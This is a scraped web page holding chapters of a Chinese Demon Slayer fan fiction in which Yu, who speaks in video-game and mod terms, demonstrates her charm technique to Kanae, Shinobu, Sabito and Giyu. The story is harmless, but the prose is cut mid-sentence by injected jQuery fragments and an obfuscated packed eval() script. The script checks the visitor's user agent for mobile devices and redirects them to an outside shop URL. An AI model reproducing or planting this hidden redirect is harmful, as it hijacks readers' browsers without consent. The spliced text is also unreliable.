$(''.inform'').remove(); $(''#content'').append('' 有的头脑风暴之后,他又一次点了点头,接受了这个设定。 “嘛……”锖兔长出了一口气,试图把刚才那一瞬间的慌乱翻篇,“不过,确实是稍微有点刺激的体验吧。对于我们这种只知道挥剑的人来说……那个、非常紧张呢?” “我还是觉得,”义勇低垂着眼帘,声音闷闷的,“亲吻…不好。” 这种会让心脏不受控制、让握刀的手颤抖、让呼吸法都在一瞬间停止运作的行为,对于剑士来说,实在太危险了。 锖兔愣了一下,他眨了眨眼,身体微微前倾,眼神中多了一丝探究:“义勇,从刚才开始你就一直说‘亲吻’、‘亲吻’的……到底,她是亲了义勇的哪里啊?” 如果只是像自己那样被手指碰触嘴唇,应该用“触碰”或者“抚摸”更准确吧?用“亲吻”这个词,是不是有些过于…… 富冈义勇猛地抬起头,眼睛微微瞪大,那张常年维系无表情的脸上露出了不可置信的神色。 他仿佛在用表情质问锖兔:你为什么能问出这样不知廉耻的问题?这种细节是能随便拿出来讨论的吗? “喂、义勇!”被那个眼神看得有些发毛,锖兔忍不住催促道,“别卖关子了啦!这可是为了验证术的条件是否一致的重要情报!” 义勇再次低下了头,耳根处隐约泛起了一点可疑的红色,沉默了大约三秒钟。 “……右脸。” 声音实在是小得犹如虫鸣。 “呼……” 但锖兔极其明显地松了一口气,整个人都肉眼可见地放松了下来。 这一反应立刻招致了师弟那震撼的注视!富冈义勇的眼神在谴责他:你为什么松了一口气?这是什么值得放心的事情吗? 锖兔为自己解释:“我是觉得稍微-稍微还在正常的范围内吧!我觉得亲右脸和用手温柔地摸嘴唇,这两种行为的亲密程度应该差不多……吧?大概?” 他越说越觉得底气不足,于是开始拼命回想细节佐证:“说起来,上一次侑触碰我嘴唇的时候,我好像吐了很多血…不知道是不是因为这个原因,她后面才更改了治疗的方式啊……” 富冈义勇没有搭话,他盯着已经陷入某种甜蜜苦恼中的师兄,眼神逐渐变得犀利起来。 “……锖兔这是什么意思?” 义勇的声音很平稳,却带着一股要把人看穿的认真感。 “是想要说,自己是第一个吗?” 5. 蝴蝶与能力探讨会 “唔……”锖兔发出了一声意味深长的长音,手掌顺势托住了自己的下颌,“虽然很想高兴地在义勇面前承认这一点,但从侑那完全不当回事的态度来看,大概我也并不是她特别对待的第一个吧。” 他的声音里并没有太多的失落,反倒像是在陈述一个意料之中却又令人有些无奈的事实。 坐在对面的富冈义勇没有说话,只是沉重地点了点头。 “不过,侑的那份心意是好的,这点毋庸置疑,”他忽然换了个语气,以促狭的口吻发言:“总之,义勇如果还是很苦恼,之后就尽量少在她面前把自己弄得破破烂烂的吧?” 富冈义勇的眉心瞬间拧出了一个死结,瞪向师兄的眼神里明明白白地写着“别把我当笨蛋”和“我当然知道”。 他生硬地回复道:“不用你说。” 锖兔笑笑,又重新坐直身体,漫不经心地理了理羽织。 “对了,”他状似随意地抛出了下一个问题,语气轻快得有些刻意,“侑她……有对义勇提起过‘想要义勇成为我的队友’之类的话吗?” 富冈义勇歪歪头,似乎是在进行回忆,最终简略而精准地回复了他。 “并无。” “哦…这样啊……” 锖兔的回应拉得长长的。他垂下眼帘,遮住了眼底那一闪而过的、被单独选中的喜悦情绪。下一秒,他忽然伸出手,大力地揉搓起了富冈义勇的头发。 “……?” 富冈义勇被迫随着对方的力道晃动着脑袋,满脸都写着茫然。他艰难地从那只作乱的手掌下抬起眼睛,投去一个充满疑惑和控诉的眼神:哪里出问题了? “不,什么都没有啦。” 锖兔收回手,心情颇好地哼笑了一声。 ****** 想要遇见侑,是一件困难又简单的事。 困难在于她对杀鬼和任务有着超乎常人、甚至连柱都会惊讶的热情,一个月里有三分之二的时间,侑都在外奔波;但想要遇见侑又十分简单,因为她一定会回到蝶屋来完成协助新药配置的任务,因此只要愿意到蝶屋蹲守,总会和侑有见面的机会…… 话虽这么说。 富冈义勇低头看着下方熙熙攘攘的人群,表情因为局促而显得越发高傲冷淡,锖兔已经把面具戴上了,正从面具后传出闷闷的、带着几分无奈的声音。 “人真多啊……” 放眼望去,下方的庭院简直可以用摩肩接踵来形容。蝶屋本是给伤员安静疗养的场所,但此刻,无论是回廊上、树荫下,还是不起眼的角落里,到处都是身穿黑色队服的剑士们…… 富冈义勇和锖兔动用呼吸法登上屋顶,没想到连屋顶都快没处下脚。 光是看大家那或焦躁或含羞或期待的表情就知道——这些全部都是被侑用治疗救助、或者说俘获的鬼杀队成员。 “真是好心到有点出乎意料的程度了…”锖兔隔着面具咋舌,视线快速扫过人群,“粗略看去就有差不多二十人在啊。” 富冈义勇的脸色越发不好看了。他僵硬地别过脸,大概是想起了自己因为脸颊上残留的触感而辗转反侧、无法入眠的那些夜晚。 原本以为那份悸动是独属于自己的秘密,结果一看,这里居然全是和他同病相怜的人…… 不过在侑正式到来之前,头上戴着蝴蝶发饰的紫发少女已经非常不客气地过来赶人了。 “都给我听好了!” 蝴蝶忍双手叉腰站在庭院中央,脸板得紧紧的,眼睛里正燃烧着怒火。 “蝶屋是用来给重伤员治疗的地方,不是给你们这些闲人聚会的场所!要是谁还想赖在这里不走……”蝴蝶忍深吸一口气,露出了一个让人背脊发凉的、饱含愤怒的微笑,“我就成全你们。现在就给你们制造点需要躺在病床上的伤口,让你们彻底留下来。” 富冈义勇下意识地缩了缩脖子,感觉后颈一阵发凉;旁边的锖兔也明显心虚了,躲去了能逃避下方视线的屋顶正中央。 毕竟他们俩跑来这里,也属于纯粹的动机不纯及完全的无病呻吟。 水呼的师兄弟极有默契地对视一眼,连呼吸声都压低了几个分贝,悄无声息地从屋顶正中央挪到了更加隐蔽的视觉死角,轻飘飘地转移了阵地,最终落脚在了蝶屋外一棵枝繁叶茂的大树上。其余的鬼杀队队员显然还没有修炼到他们这一手,只能无奈退场。 几乎是在人群刚刚散去的三分钟后,侑那拖曳着过长的羽织衣摆和衣袖的身影就出现了。 她每隔一段时间,都似乎会变得更有魅力一点。明明她的容貌并没有改变,但只要一望见她的身影,心情就会变得雀跃,心也忍不住会为她而加快跳动起来。 侑在没有战斗时,脸上的表情一直都维持着平淡。她明明行走在这个世界上,却总是带着微妙的疏离感,仿佛并不完全属于这里,就像蒲公英一样,似乎随时都有可能被突如其来的风吹散,飘向未知的远方。 那种若即若离、飘忽不定的感觉,反而让人忍不住想要更多地注视她,想要伸出手确认她的存在。 然而,蝴蝶忍看见侑的那个瞬间,原本稍稍平息的怒火立即又被点燃了。 “你…!你这个轻浮至极的人!”她气得连声音都在微微颤抖,指着侑的手指绷得笔直,“在那么随便地、毫无顾忌地亲了姐姐之后……你居然还敢大摇大摆地过来!” 看起来忍的家教十分不错,以至于现在都找不到什么更具负面意义的词汇来谴责侑。 而侑果不其然毫不在意这扑面而来的杀气,她停下脚步,盯着蝴蝶忍的头顶——那似乎是她辨认人的方式,过了好几秒,她才像是确认了身份一般,将视线挪回忍的脸上。 “啊,蝴蝶忍。”她的语气平淡得就像是在谈论今天的天气,“你的等级还不够呢,要加油升级哦。” ——完全一如既往地没有听进去别人的话啊。 蝴蝶忍几乎快因为她这油盐不进、没有丝毫反省的态度拔刀,但在她以小小的个子炸毛之前,蝴蝶香奈惠就出现了。 披着蝶翼纹样羽织、长发轻柔地垂在身侧的蝴蝶香奈惠摸了摸妹妹的头;忍就像被踩灭了引线的炸弹一样,不再说话了。 “哎呀,小忍。侑小姐当时是为了救助我才那么做的呢,并没有恶意哦。” 就像是被顺了毛的猫,蝴蝶忍原本紧绷的肩膀瞬间垮了下来。她狠狠地瞪了侑一眼,然后赌气般地把头扭到了一边,只留给侑一个气鼓鼓的后脑勺。 安抚好妹妹后,香奈惠转过头,以一种毫无阴霾的笑容面对着侑。 “侑小姐,这一次也提前感谢您配合新药的研发。”她的笑容弧度微微扩大了一些,展露着如沐春风般的美丽,“当然,关于上一次您不顾危险为我疗伤的事情……我也一直铭记在心,十分感激。” “没关系,”侑平静地回复,“我也蹭到了很多经验。你是我目前无法招募的等级的队员,能蹭到你的怪,我也很高兴。” 香奈惠眨了眨眼,几乎是立刻就微笑着接过了话茬:“嗯……也就是说,侑很高兴能和我一同作战,是这个意思吧?” 她出乎意料轻松地理解并翻译了侑的话,那种自然的接纳感,让躲在树上的水呼师兄弟不由得在心里暗暗佩服。 然而,下一秒,香奈惠就笑眯眯地望了过来。 “对了,那边的两位剑士先生。一直躲在树荫里,可是听不到侑小姐的声音的哦。”香奈惠以调侃的语气发言,“如果有话想要对侑说,现在就可以跳下来哦。蝶屋的茶点还够四个人分呢。” 屋檐上那两道刻意收敛的气息猛地停滞了一瞬。紧接着,像是两只被当场抓住偷吃鱼干的猫,水呼的师兄弟放弃了隐匿,一前一后地落在了庭院的碎石地上。 锖兔落地时脚尖轻点,没发出半点声音。他下意识地把手按在腰间的刀柄上——不是为了战斗,纯粹是为了给尴尬得无处安放的手找个位置;富冈义勇则站在他身后半步的地方,那张常年没有什么表情的脸上此刻写满了一种名为“我想消失”的空白。 为了防止自家师弟因为听墙角被抓包的羞耻感而在当场做出什么不可挽回的举动,比如一本正经地道歉然后切腹,锖兔抢先一步抬起头道歉。 “那个、抱歉……我们不是有意……” “啊,锖兔,义勇。” 侑的声音打断了他未尽的解释。她的眼眸里没有责怪,反而透露着亮晶晶的满意:“你们俩升级都好快呢。” 她有在关注他、甚至还记得队友的事情啊……锖兔忍不住有些喜悦。 他的嘴角控制不住地向上扬起一个弧度:“啊……因为我有一直在努力做任务和特训嘛。” 又一次被这么亲昵地直呼了名字,富冈义勇身体几不可见地僵硬了一瞬,他慢慢地抬起头,目光在侑的面颊停留了片刻,然后又迅速地移开了。 接下来,义勇抿了抿嘴唇,喉结滚动了一下,极其缓慢地点了点头。 香奈惠并没有进一步扩散话题:“虽然叙旧也很重要,不过正事也不能耽误呢。” 她双手交叠在身前,转向侑:“这一次可能会对侑小姐的能力做比较详细的了解,涉及到一些……相对而言比较核心的秘密。不过,既然是侑小姐自己选择的队友,我想让他们旁听应该也是可以的。侑小姐介意吗?” 侑眨了眨眼,长长的睫毛像蝴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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香奈惠赞同地点头:“我也倾向于这个结论。如果不是由侑小姐亲手使用,甚至如果没有特定的前置动作,药效就无法发动。就像是鬼的血鬼术一样,必须由施术者本人的意志和力量来驱动,否则就毫无意义。侑小姐,你对以上的推论有异议吗?” 所有人的目光再次集中到了侑的身上。 “唔,没有。”侑回复道:“确实只有我能用,因为这是mod的特殊效果,不是本作的道具。” 完全云里雾里啊…… “嗯,”香奈惠十分熟练地适应了对话模式,“看来不是能用简单的药理解释的原理呢。那么、接下来就是讨论侑小姐的‘魅惑’之术……” 听到“魅惑”两个字,义勇的背脊瞬间挺直了不少,锖兔也下意识地正襟危坐。 “侑小姐,”香奈惠询问,“你不怎么改变表情,更别说对鬼杀队的大家露出笑容了,是因为只要这样就会触发术吗?” 侑愣了一下,似乎完全没想到对方会问这个问题。 “啊、这个确实是为了方便mod快捷开启而设置的表情指令。因为如果一直开着mod,会多出来很多好感度相关的日常剧情,有点耽误刷级呢。” 香奈惠花了几秒钟来消化这句话,很快就点了点头。 “也就是说,‘表情’确实是你的术的开关。为了防止给周围的人带来不必要的困扰,或者是让自身卷入情感纠葛中影响修行的效率,所以侑小姐平时才有意保持着无表情的状态。嗯,真是非常克制且负责任的做法呢。” 她习惯性地夸奖了侑一句,像是平日里夸奖蝶屋里的妹妹们。 锖兔和义勇忍不住对香奈惠投以了“这也能听懂太厉害了吧…”的眼神,蝴蝶忍则如有荣焉地挺了挺胸膛。 “那么,每一次在触发术之后,侑都会对鬼说话,这也是术的一部分吗?” 侑点了点头:“那个是为了触发‘调情’选项,增加mod的效果。如果不进入更深度的mod剧情,就还是会很快回到正常战斗轮。” 调情…… 除香奈惠外的三人的表情都一瞬间轻微扭曲了一下。 但香奈惠还是那么专业,她脸上的笑容甚至连一丝裂纹都没有出现,手中的笔依旧稳稳地记录着。 “嗯嗯,也就是对话其实是为了扩大术的效果吗?” 香奈惠用笔帽点了点自己面颊:“的确呢,侑小姐每一次一旦挥刀,鬼就会立刻从术的效果中清醒过来。这么看来,维系术的要求,就是在此期间不能产生带有敌意的攻击举动,对吧?因此,侑小姐才会一直想要队友吧?” 没有等侑回答,香奈惠将手中记录的笔轻轻放下,合上了医学记录的册子。 “既然如此,讨论就到这里好了。接下来,可以请侑小姐在现在这个安全的地方,对我展示一下完全效果的术吗?” 6. 术与战斗的理由 “姐姐……” 蝴蝶忍从齿缝间挤出这一声呼唤,声音间是显而易见的焦灼与不赞同。她的眉头紧锁,此刻正难掩担忧地望着香奈惠,似乎是希望她收回这个想法。 “侑的术直接涉及情感和精神操控…!”忍的语气加重了几分,“如果真的毫无保留地被这种术击中,究竟会发生什么、会对姐姐的精神造成什么样的影响、会不会留下后遗症…这些我们都一无所知啊!” 蝴蝶香奈惠对蝴蝶忍摇了摇头,语气十分坚定:“没关系的,小忍。” 随后,她将视线转向了侑,眼眸里没有丝毫的负面情绪,简直如水晶般澄澈。 “侑小姐,”香奈惠温和地开口确认道,“你的术是几乎能对所有的鬼都能起作用…对吗?” 侑点了点头:“只要是角色就都可以。” 香奈惠眼中的赞许之色更浓了一些,她的神情染上了几分认真,但那份独属于姐姐的、对同伴的关切依旧从她的眉梢中流露了出来。 “那么,这就意味着:侑拥有着足以改变战局的可能性。”她轻声分析着,每一个字都像是经过了深思熟虑,“你一定能成为非常了不起的剑士,将来在面对上弦、甚至是鬼舞辻无惨的时候,这份能力一定会成为我们制胜的关键。” 说到这里,香奈惠稍微停顿了一下,目光变得更加柔和诚恳:“所以,作为会与你并肩作战的同伴,提前了解这份能力的运作机制、亲身体验自己会受到何种程度的影响,是十分必要的。” “只有这样,当真正的战斗来临时,我们才能在第一时间做出反应,为你提供最恰当的支援。” 这番话无懈可击,是令人无法反驳的正论。 蝴蝶忍抿紧了嘴唇,不再出声反对了,但视线却死死地锁在侑身上,眼神里充满了警告:“我会盯着你的!要是敢对我姐姐做奇怪的事情,你就死定了!” 坐在另一侧的锖兔和富冈义勇也随之正襟危坐。水呼的师兄弟脸上的表情严肃得仿佛即将面对一场生死决斗,显然也联想到了未来可能存在的协同作战情况。 侑迎着众人各异的目光点了点头。 香奈惠将身体调整到一个相对放松但又不失警觉的状态。完成后,她坦荡地注视着侑,似乎已经做好了迎接一切冲击的准备。 侑的术并没有什么夸张的起手式,甚至只是缓缓抬起了手。少女的指尖轻轻挽住脸颊旁一缕垂落的发丝,不紧不慢地将其挽到耳后。她身上的疏离感因为这个动作瞬间消散。 紧接着,侑的嘴角忽然向上勾起,绽放出了一个笑容。 那不是面对恶鬼时所露出的、犹如食虫花捕猎般带着锋利杀意或危险诱惑的笑,只是一个纯粹而柔软的笑容。侑的眼角微微下垂,睫毛在下眼睑投出一片温柔的阴影,连同眼眸都仿佛化作了流淌着喜爱的蜜糖。 所有人的注意力、世界全部的光彩,现在都已经毫无保留地倾注在了侑的这个笑容之上。 ——啊……那个总是飘忽不定的侑,此刻竟然完完全全地、满心满眼地只看着我一个人啊。 这个认知像是惊雷般忽地在香奈惠的脑海中炸响。她的心脏因此猛地收缩了一下,紧接着便失去了去心脏的控制,只能任由它在胸腔里剧烈地跳动。 香奈惠的瞳孔在瞬间放大,脸上如沐春风的微笑瞬间出现了一丝裂痕,随后笑容缓缓消退。取而代之出现在她的面颊上的,是一种混杂着震惊、严肃以及本能防备的神情。 面对这份从天而降的、没有任何预兆的、庞大而纯粹的爱,强者的第一反应是警惕,这是面对未知感情的自我保护机制。 然而,这份警惕仅仅维持了不到一秒钟,便在侑开口的瞬间瓦解了。 “香奈惠。” 侑轻声呼唤着她的名字,这句呼唤没有任何意义,她只是单纯地、亲昵地念着这三个字。 仅仅是被她呼唤名字,甜蜜与喜悦便涌上心头,香奈惠的嘴唇微微蠕动了一下,身体本能地想要前倾,想要回应这份呼唤。但她强大的意志力使得她死死地拦住了这股近乎本能的冲动,让她依旧维持着端庄的坐姿,没有失态。 在场的所有人的视线中,侑正在发光。这并非是指物理意义上的光芒,而是在这个空间里,她已经成了唯一的焦点、唯一的色彩、唯一的光源。除了她,周围的一切都已经黯然失色,退化成了模糊的、毫无意义的黑色背景板。 只要视线触及她,就再也无法移开分毫;而直到现在为止,她仅仅是露出了一个笑容、呼唤了一句姓名而已。 因为香奈惠看起来仍然很镇定,侑继续进行下一步。她的手缓缓移动,落在了自己羽织的两侧。 侑的指尖分别勾住两边的羽织,将其分开向下拉去,她的动作十分缓慢,像是剥开一颗珍贵糖果的糖纸。羽织顺着她的肩膀滑落,从肩头一直滑至上臂,堆叠在肘弯处。 这本该是一个毫无旖旎色彩的动作。侑的队服是最标准的款式:黑色的布料严严实实地包裹着身体、每一粒扣子都扣得一丝不苟;制服剪裁合身,既不紧绷也不松垮,并没有刻意勾勒出什么引人遐想的曲线。 理论上,这就只是简单的“脱下外套”而已,但所有人的呼吸频率都在这一刻被迫加快了。 身为男性的义勇和锖兔,受到的冲击最为直观且猛烈。在他们眼中,滑落的羽织简直宛如飘零的花瓣,而褪去羽织的侑便如同花瓣散落后显露的花心。这一联想使得两人的面颊几乎是在瞬间就烧红了,羞赧的红色从脖颈一路烧到耳根。水呼的师兄弟已经狼狈地移开了视线,无法再坚持观摩下去。 可是紧接着侑抬起了右手。 女性纤长的手指从桌侧抬起,缓缓移动到了自己的脖颈处。在黑色立领制服的衬托下,那只手白得晃眼,好似黑夜里指引方向的路标,众人的目光下意识跟随着指尖的轨迹移动。 侑的指腹轻轻合拢,捏住了领口最上方的那一粒扣子。没有丝毫犹豫,也没有任何多余的挑逗动作,她只是平常地、轻盈地、利落地解开了它。 原本紧贴着喉咙的黑色布料瞬间微微敞开,露出了少女脖颈处一小片白腻的肌肤。 “——!!” 空气中简直仿佛能听到理智崩断的清脆声响。 锖兔猛地抬起手,一把抓过别在脸侧的狐狸面具,“砰”地一声死死扣在了自己的脸上,试图遮挡自己已经红透了的脸和慌乱无措的眼神。 旁边的义勇像是被人狠狠击中了腹部的要害,整个人猛地低下了头,他将滚烫的脸颊深深地埋进了自己的手掌之中,指缝间隐约可见他通红的耳廓。 香奈惠下意识地屏住了呼吸,双手死死抓住了膝盖上的布料,回应已经快脱口欲出,但反应最激烈的还是蝴蝶忍。 “笨蛋——!!” 伴随着一声羞愤交加的叫喊声,蝴蝶忍那道紫色的身影高速地冲了上来! 她几乎是瞬移到了侑面前,双手一把抓起侑滑落在手臂上的羽织,用力向上一提,动作粗鲁而慌乱地将那件羽织连同侑的头一起严严实实地罩住了! “啊啊、你、你这个家伙!”忍的声音都在发颤,脸颊红得像是熟透的番茄。 她死死按着罩在侑头上的羽织,气急败坏地大喊道:“喂!你到底在做什么啊!不知羞耻也该有个限度吧!” 侑的声音不解地从羽织下传来:“我在按照香奈惠的要求运行mod呀?” “不要再继续了!”蝴蝶忍猫咪炸毛般回复,“现在就停下来!” 侑发出了有点困惑的“啊?”的声音,似乎在困惑这才哪到哪呢,但还是按照她的要求停下了术的使用。过了一会,侑轻松地挣脱了蝴蝶忍的制约,抬手掀开了罩在头上的羽织,又动作轻盈地将那一头被弄乱的头发拨顺,最后慢条斯理地将领口的扣子重新扣好。 做完这一切,侑已经恢复了平日里那副波澜不惊的模样。她的目光坦坦荡荡地在室内几人的脸上扫了一圈,目光无声地询问:怎么样?评价呢? 但室内唯有寂静,角落里还有两个背影显得格外凄凉且僵硬。 富冈义勇和锖兔两人此刻正极有默契地面对着墙壁,他们的背挺得笔直,注视墙面那份认真的劲就仿佛墙面上的其实是师傅刻下的水之呼吸隐藏招式。 义勇正将手掌死死抵在膝盖上,强迫自己不去回想刚才那一瞬间瞥见的肌肤;锖兔则下意识有点苦笑,似乎是感叹自己修行得实在还是不到位。 “比我想象得……要更强大啊……” 打破沉默的是香奈惠。她长长地呼出一口气,声音里似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007657|194077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎带着某种劫后余生的庆幸。香奈惠抬起双手,轻轻拍了拍自己滚烫的面颊,试图用这种物理手段让那些绮念散去。 “我还以为只要做好了心理准备,就能稍微抵抗住冲击呢。”香奈惠露出一个略显无奈的、认输般的笑容,“呐,侑,在被小忍叫停之前,这个术运行到了哪一步呢?” 侑眨了眨眼,诚实地竖起两根手指:“十分之二的程度吧。” “啊啦……这可是……” 香奈惠微微张着嘴,似乎想要说些什么,却又被这个过于离谱的数字噎了回去;蝴蝶忍原本还在整理被弄皱的衣袖,听到这话动作猛地一顿,脸上顿时流露出了一种恼怒与羞耻混合的表情。 一直到空气中那股暧昧的气氛稍稍散去,香奈惠才整理好心绪,换了一个话题询问。 “对了...按照侑斩鬼的数量和效率,应该很快就能晋升为柱了吧。如果方便的话,可以告诉我们侑之所以如此执着于斩鬼的原因吗?” 似乎是担心侑会感到冒犯,她斟酌着字句,小心翼翼地补充道:“因为侑之前也提到过,虽然自己没有家人,但家人离世的原因并非是被鬼杀害……既然不是因为仇恨,那为什么要如此拼命地努力呢?是因为那只曾经差点将侑转化为鬼的鬼吗?” 在鬼杀队,绝大多数剑士握剑的理由都是仇恨。亲人被杀、未来被毁…那份从血泪中诞生的愤怒是支撑剑士们在黑夜中厮杀的唯一燃料。 但侑并不一样。她像是一个误入修罗场的异类,她是如此干净而平静,执行任务时却又比任何人都高效。 侑微微歪了歪头:“不,我对鬼并没有仇恨。” “……果然是这样吗?” 香奈惠轻轻点了点头,眼底划过一丝了然。她自己也是如此,即使身为斩杀恶鬼的剑士,内心深处却始终抱着一种想要救赎鬼、让它们从悲哀的轮回中解脱的悲愿。 “我只是……” 侑慢慢地开口,视线穿过正在微笑的香奈惠,扫过还在生闷气的忍和那两个依然在面壁的背影,最终落到了蝶屋的窗外。 “……单纯地喜欢鬼杀队的大家。” “……” 那个总是捉摸不透的侑,在这一刻离这个世界非常、非常近。 “无论是强大还是弱小,大家都十分努力地战斗的样子;因为认为我可以帮助更多的人,就拼命给我支援、哪怕牺牲自己也想要保护我的样子……” 侑似乎是回忆起了某些画面,流露出了几乎可以称之为温柔的神色。 “我想让大家活下来。我是为了这些可爱的人们才加入鬼杀队的。” 并不是为了大义,也不是为了复仇,仅仅是因为喜欢大家而已。这份理由比起仇恨实在是显得过于轻盈了,却又因为轻盈而显得无比沉重。 “……你刚刚用术了吧!” 一声突兀的、带着颤音的指控打破了正在蔓延的感动氛围,蝴蝶忍正警惕地瞪着侑。 侑显得十分无辜:“唔,我没有啊,你看我现在没有在笑。” 忍的声音拔高了一个度,与其说是在指责,不如说是在掩饰自己内心那份快要满溢出来的动摇:“骗人!刚刚那个什么‘最喜欢大家’就是你之前说的术里面的调情吧!!” “咦,没有呀?调情要开启了mod才能用。” 香奈惠温柔地打着圆场,眼底的笑意怎么也掩不住:“好啦好啦、小忍……” 就在这时,一直在当背景板的锖兔终于动了。他缓缓转过身来,脸上的狐狸面具已经被摘下来、拿在了手里。他桃色的中长发有些凌乱,平日里总是正气凛然的脸虽然红得有些不像样,但他的眼睛却异常明亮且坚定。 “那个……” 他的声音有些干涩,似乎还没完全从刚才的冲击中缓过来,但他还是努力直视着侑的眼睛——虽然目光还是有些飘忽,不敢在她脸上停留太久。 锖兔深吸一口气,像是下定了什么决心,“……那个、我也是为了不想再看到有人牺牲才握剑的。” 他顿了顿,握紧了手中的面具,语气带着少年人特有的笨拙与赤诚: “我也……我也觉得你很可-可……咳、是很值得信赖的同伴!因为我们目标是一样的,所以之后就一起努力吧…!”